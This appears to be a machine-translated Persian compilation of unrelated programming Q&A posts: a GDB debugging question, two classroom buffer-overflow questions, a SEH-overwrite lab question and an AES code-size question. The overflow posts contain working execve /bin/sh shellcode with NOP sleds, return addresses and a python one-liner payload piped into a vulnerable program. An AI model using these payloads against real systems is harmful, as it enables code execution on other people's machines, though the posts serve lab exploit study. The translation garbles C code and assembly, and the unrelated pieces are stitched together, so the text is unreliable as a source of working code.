اشکال زدایی – GDB قادر به دسترسی به حافظه کتابخانه عمومی c نیست

من سعی کردم دسترسی به حافظه کتابخانه ای c را در حافظه داشته باشم، اما به نوعی، من از خواندن آدرس در

محدود شده ام، کسی می تواند به من بگوید مشکلی است؟

این خط فرمان GDB من است [19659004] (gdb) disass main
توزیع کد مونتاژ برای عملکرد اصلی:
0x0000057d <+0>: lea 0x4 (٪ esp)،٪ ecx
0x00000581 <+4>: و $ 0xfffffff0،٪ esp
0x00000584 <+7>: pushl -0x4 (٪ ecx)
0x00000587 <+10>: فشار٪ ebp
0x00000588 <+11>: mov٪ esp،٪ ebp
0x0000058a <+13>: فشار٪ ebx
0x0000058b <+14>: فشار٪ ecx
0x0000058c <+15>: زیر $ 0x400،٪ esp
0x00000592 <+21>: تماس 0x480 <__x86.get_pc_thunk.bx>
0x00000597 <+26>: اضافه کردن $ 0x1a69،٪ ebx
0x0000059d <+32>: mov٪ ecx،٪ eax
0x0000059f <+34>: mov 0x4 (٪ eax)،٪ eax
0x000005a2 <+37>: افزودن $ 0x4،٪ eax
0x000005a5 <+40>: mov (٪ eax)،٪ eax
0x000005a7 <+42>: زیر $ 0x8،٪ esp
0x000005aa <+45>: فشار٪ eax
0x000005ab <+46>: lea -0x408 (٪ ebp)،٪ eax
0x000005b1 <+52>: فشار٪ eax
0x000005b2 <+53>: تماس 0x400
0x000005b7 <+58>: افزودن $ 0x10،٪ esp
0x000005ba <+61>: زیر $ 0xc،٪ esp
0x000005bd <+64>: lea -0x408 (٪ ebp)،٪ eax
0x000005c3 <+70>: فشار٪ eax
0x000005c4 <+71>: تماس 0x3f0 0x000005c9 <+76>: افزودن $ 0x10،٪ esp
0x000005cc <+79>: زیر $ 0xc،٪ esp
0x000005cf <+82>: فشار دادن $ 0xa
0x000005d1 <+84>: تماس 0x420 0x000005d6 <+89>: افزودن $ 0x10،٪ esp
0x000005d9 <+92>: mov $ 0x0،٪ eax
0x000005de <+97>: lea -0x8 (٪ ebp)،٪ esp
0x000005e1 <+100>: pop٪ ecx
0x000005e2 <+101>: pop٪ ebx
0x000005e3 <+102>: pop٪ ebp
0x000005e4 <+103>: lea -0x4 (٪ ecx)،٪ esp
0x000005e7 <+106>: ret
پایان تخلیه مونتاژ کننده
(gdb) x / 1i 0x420
0x420 : jmp * 0x18 (٪ ebx)
(gdb) x / 1x 0x18
0x18: نمی تواند به حافظه در آدرس 0x18 دسترسی پیدا کند

متشکرم!

سرریز بافر – shellcode تزریقی پس از دستورالعمل ترک خراب شده است

من یک سرریز بافر برای یک کلاس تمرین می کنم و من یک تکه کد دارم که از یک سیستم منبع باز قرض گرفتم. متاسفانه من نمی توانم این کد را فاش کنم.

اطلاعات سیستم من:

 nikel $ uname -a
لینوکس اوبونتو 4.15.0-29-عمومی # 31 ~ 16.04.1-اوبونتو SMP جمعه 18 ژوئیه 10:19:08 UTC 2018 i686 i686 i686 گنو / لینوکس

من از gdbgui برای اشکالزدایی که از طریق pip نصب کردم استفاده میکنم. این نسخه گرافیکی از gdb است.

 nikel $ gdbgui --version
0.13.0.0

بافر من سرشار است، buf اعلام شده حاوی 128 بایت و در 0xbfffe928 وجود دارد. مقادیر به صورت زیر با آرایه اضافه می شوند: buf [len++]، جایی که len در 0xbfffe9a8 است. آدرس برگشت در 0xbfffe9bc .

این شل کد است که من تزریق می کنم:

 " x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x31  xc0  x50  x68  x2f  x2f  x73  x68  x68  x2f  x62  x69  x6e  x89  xe3  x50  x89  xe2  x53  x89  xe1  xb0  x0b  xcd  x80  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x90  x94  x28  xe9  xff  xbf "

در shellcode:

  1. هدف شلختگی، راه اندازی پوسته سیستم / bin / sh است. من آن را مستقیما از https://dhavalkapil.com/blogs/Shellcode-Injection/
  2. x94 کپی کردم که در انتهای آن قرار داده ام، چون آدرسهای حافظه را پر میکنم و به طور مستقیم نوشتن در آدرس بازگشت است که در 0xbfffe9bc .
  3. باز " لازم است که وارد عمل تضعیف شده و بسته شدن " لازم است از این تابع
  4. من فایل را با استفاده از vim -b ویرایش کرده ام و آن را به عنوان یک فایل .bin ذخیره کردم.

این حالت پشته درست قبل از ترک دستورالعمل:

 0xbfffe928: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe930: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe938: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe940: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe948: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe950: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe958: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe960: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe968: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe970: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe978: 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68
0xbfffe980: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50
0xbfffe988: 0x89 0xe2 0x53 0x89 0xe1 0xb0 0x0b 0xcd
0xbfffe990: 0x80 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe998: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a8: 0x99 0x00 0x00 0x00 0x22 0x00 0x00 0x00
0xbfffe9b0: 0xf0 0xef 0xff 0xbf 0x70 0xc1 0x05 0x08
0xbfffe9b8: 0xe8 0xe9 0xff 0xbf 0x28 0xe9 0xff 0xbf

این پشته پس از ترک دستورالعمل:

 0xbfffe928: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe930: 0x90 0x90 0x90 0x90 0x00 0x00 0x00 0x00
0xbfffe938: 0x00 0x37 0xdb 0xb7 0x00 0x00 0x00 0x00
0xbfffe940: 0xa0 0xe5 0xe1 0xb7 0x00 0x00 0x00 0x00
0xbfffe948: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe950: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe958: 0xa9 0xf8 0xe1 0xb7 0x00 0x60 0xf6 0xb7
0xbfffe960: 0x00 0x60 0xf6 0xb7 0x00 0x60 0xf6 0xb7
0xbfffe968: 0x8c 0xe9 0xff 0xbf 0xd6 0xfc 0xe1 0xb7
0xbfffe970: 0x01 0x00 0x00 0x00 0x90 0x90 0x90 0x90
0xbfffe978: 0x6b 0x1e 0xe1 0xb7 0x70 0xc1 0x05 0x08
0xbfffe980: 0x00 0x60 0xf6 0xb7 0xc6 0xfc 0xe1 0xb7
0xbfffe988: 0x70 0xc1 0x05 0x08 0xaf 0xe9 0xff 0xbf
0xbfffe990: 0x00 0x00 0x00 0x00 0x90 0x90 0x90 0x90
0xbfffe998: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffe9a8: 0x99 0x00 0x00 0x00 0x22 0x00 0x00 0xcc
0xbfffe9b0: 0xf0 0xef 0xff 0xbf 0x70 0xc1 0x05 0x08
0xbfffe9b8: 0xe8 0xe9 0xff 0xbf 0x28 0xe9 0xff 0xbf

من نمی فهمم که چرا فضای حافظه buf خراب شده است. اگر برنامه را اجرا کنم، این خطا را به من می دهد:

 برنامه
 دریافت سیگنال SIGSEGV، گسل Segmentation.
0xbfffe928 در ؟؟ ()

EIP دارای مقدار 0xbfffe928 است که صحیح است. gdb می گوید نمی تواند به آدرس 0xbfffe928 دسترسی پیدا کند

c – Exploit SEH Overwite

من در آزمایشگاه Overwrite Lab از دوره Exploits 2 توسط Corey Kallenberg از آموزش امنیتی باز استفاده کردم.

محیطی است که 32 بیتی ویندوز ایکس پی SP3 است و برنامه های Visual C ++ 2008 Express Edition بدون DEP و ASLR

لطفا کد زیر را در نظر داشته باشید:

 #include 
#include 
#include 

جایزه خالی () {
    printf ("جایزه !!!  n")؛
}

int unsigned int FileErrorExceptionHandler () {
    printf ("FileErrorExceptionHandler () نامیده می شود ")؛
    printf ("فرآیند کشتن  n")؛
    ExitProcess (1)؛
    بازگشت 0؛
}

void read_file (char * file، int * bytes_read) {
    FILE * fp؛
    کاراکتر امضا نشده [1024]؛

    memset (buf، 0x00،1024)؛
    printf ("آدرس buf: 0x٪ 08x  n"، & buf [0])؛

    fp = fopen (فایل، rb)؛
    اگر (fp == NULL) {
        printf ("فایل را نمی توان باز کرد  n")؛
        برگشت؛
    }

    * bytes_read = fread (buf، 1،2048، fp)؛
    fclose (fp)؛
}

int main (int argc، char ** argv) {
    HMODULE hFlash؛
    hFlash = LoadLibrary ("Flash6.ocx")؛
    اگر (hFlash)
        printf ("فلش بارگیری شده با موفقیت  n")؛
    چیز دیگری
        printf ("فلش بارگیری نشد  n")؛
    int n؛
    printf ("آدرس جایزه: 0x٪ 08x  n"، جایزه)؛
    printf ("آدرس n است:٪ x  n"، & n)؛
    n = 0x11223344؛
    اگر (argc! = 2) {
        printf ("استفاده:٪ s نام پرونده  n"، argv [0])؛
        بازگشت -1؛
    }

    read_file (argv [1]، & n)؛
    printf ("read_file گزارش خواندن٪ d بایت  n"، n)؛
    بازگشت 0؛
}

به یاد آوردن ساختار زنجیره ای SEH:

سوءاستفاده من به شرح زیر است:

 2 bytes 2 bytes 4 bytes
 ...  <jmp به > 
<jmp به >

از کجا

، اشاره گر به استدلال استثنا را لغو می کند. این در واقع نشانی است که برنامه به زمانی که یک استثنا اتفاق می افتد (یک استثنا درست پس از تماس fread وجود دارد).

ما انتخاب می کنیم که به pop، pop، ret کد در بخش متن به دلیل غیر ممکن است برای پرش به یک کد در پشته (برخی از مکانیسم دفاعی SEH پایه). چرا پاپ، پاپ، رت ؟ از آنجایی که در زمانیکه دستیار استثنائی شروع به کار می کند، ESP 8 بایت از آدرس اشاره گر به رکورد بعدی SEH است که ما نیز کنترل می کنیم:

 0: 000> مبادله
* 0012ffb0 *: seh_overflow! ILT + 85 (__ except_handler4) +0 (0041105a)
0012ffe0: kernel32! ValidateLocale + 2b0 (7c839ac0)
پشته اشتباه اشتباه در ffffffff
0: 000> گرم
(614.f68): نقض دسترسی - کد c0000005 (شانس اول)
استثناهایی که در اولین فرصت وجود دارد قبل از هرگونه استثناء گزارش شده است.
این استثنا ممکن است مورد انتظار و مورد استفاده قرار گیرد.
:
0: 000> dd esp L4
0012f6f8 7c9032a8 0012f7e0 * 0012ffb0 * 0012f7fc

<jmp به > (2 NOP به دلیل اینکه اندازه jmp کوتاه 2 بایت است) از اشاره گر به رکورد بعدی SEH (در آدرس 0012ffb0 ) و پرش به <jmp به > . بنابراین، هنگامی که ما پرش و اجرا پاپ، پاپ، ret ما به پرش کوتاه برسد. از <jmp به > به شل کد کد تزریق می رسد .

آدرس ها و مکان های خود را با WinDBG تایید کردم و مطمئن شدم که shellcode کار می کند. من حتی موفق به دریافت برنامه برای پرش به جایزه، اما نمی تواند اجرا شل کد کد تزریق (اجرا calc.exe)، من نیز شل کد متفاوت را امتحان کردم. من در windbg می بینم که من به ابتدای shellcode می روم اما به هر دلیلی shellcode بدون اجرا calc.exe پایان می یابد و من پیام را می بینم:

 0: 000> g
eax = 00000000 ebx = 00000000 ecx = 7c800000 edx = 00340608 esi = 7c90de50 edi = 0012f890
eip = 7c90e4f4 esp = 0012f680 ebp = 0012f77c iopl = 0 nv تا ei pl zr na pe nc
cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000246
ntdll! KiFastSystemCallRet:
7c90e4f4 c3 ret

آیا کسی میتواند توضیح دهد که چرا من نمیتوانم شل کد را اجرا کنم؟

خیلی ممنون از قبل.

توجه: خصوصیات پیکربندی را پیوست میکنم تا مطمئن شوم هیچ چیزی را که ممکن است با سوءاستفاده دخالت نکرده باشد:



    

سرریز بافر – قادر به اجرای shellcode تزریق نیست

 #include 

void secret ()
{
    printf ("تبریک!  n")؛
}

void echo ()
{
    array char [60]؛
    اسکن ("٪ s"، آرایه)؛
    printf ("شما وارد:٪ s  n"، آرایه)؛
}

int main ()
{
    echo ()؛
    بازگشت 0؛
}

بالا کدی است که من سعی می کنم از آن استفاده کنم.

آدرس آدرس ebp را با استفاده از gdb یافتم، اگر چه می دانم دشوار است که به مکان دقیق اشاره شود. من استفاده از روش NOP سورتمه

اندازه بافر اختصاص داده شده – 0x44 – 68bytes

کد پوسته – 25 بایت

python -c چاپ ' x90 "* 47 + x31 xc0 x50 x68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe3 x50 x89 xe2 x53 x89 xe1 xb0 x0b xcd x80 "+" xa8 xbb xff xff "'| ./test

من سعی می کنم به جایی از وسط NOP sled بروید.

و دریافت تقصیر تقسیم نیست، اما من دسترسی به پوسته را دریافت نمی

AES – چگونه می توانم اندازه کد را بدانم

بنابراین من یک کدهای AES پیدا کردم و آنها را کامپایل کردم، پس از آن از دستور ls -l برای دانستن اندازه آن استفاده کردم.
این ها اندازه های من هستند

  pi @ raspberrypi: ~ / iot_c1 / iot_c1 $ ls -l
 مجموع 1620
 -rwxr-xr-x 1 pi pi 20012 Apr 11 08:55 a.out
 -rw-r - r-- 1 pi pi 27967 Apr 11 08:11 iot_aes.c
 -rw-r - r-- 1 pi pi 4100 Apr 11 08:11 iot_aes.h
 -rw-r - r-- 1 pi pi 1540388 Apr 11 08:55 iot_aes.h.gch
 -rwxr-xr-x 1 pi pi 38560 Apr 11 08:11 test
 -rw-r - r-- 1 pi pi 6896 Apr 11 08:11 test2.c
 -rw-r - r-- 1 pi pi 6858 Apr 11 08:55 test.c

pi @ raspberrypi: ~ / iot_c3 $ ls -l
کل 124
-rw-r - r-- 1 pi pi 11283 آوریل 11 07:19 iot_aes.c
-rw-r - r-- 1 pi pi 1165 Apr 11 07:25 iot_aes.h
-rwxr-xr-x 1 pi pi 25080 آوریل 11 07:20 t128
-rwxr-xr-x 1 pi PI 25140 Apr 11 07:24 t192
-rwxr-xr-x 1 pi pi 25216 Apr 11 07:25 t256
-rw-r - r-- 1 pi pi 578 Apr 11 07:27 t256.txt
-rw-r-r-- 1 pi pi 14554 Apr 11 07:19 test3.c
  1. اندازه در بایت است؟ اگر چنین است برای دستگاه IOT بزرگ نیست؟
  2. من قرار است فقط اندازه کد را در نظر بگیرم تا کدام فایل به نظر من فایل C کد یا فایل کامپایل شده را بگیرد؟
  3. بین اندازه کد و اندازه دستگاه متفاوت است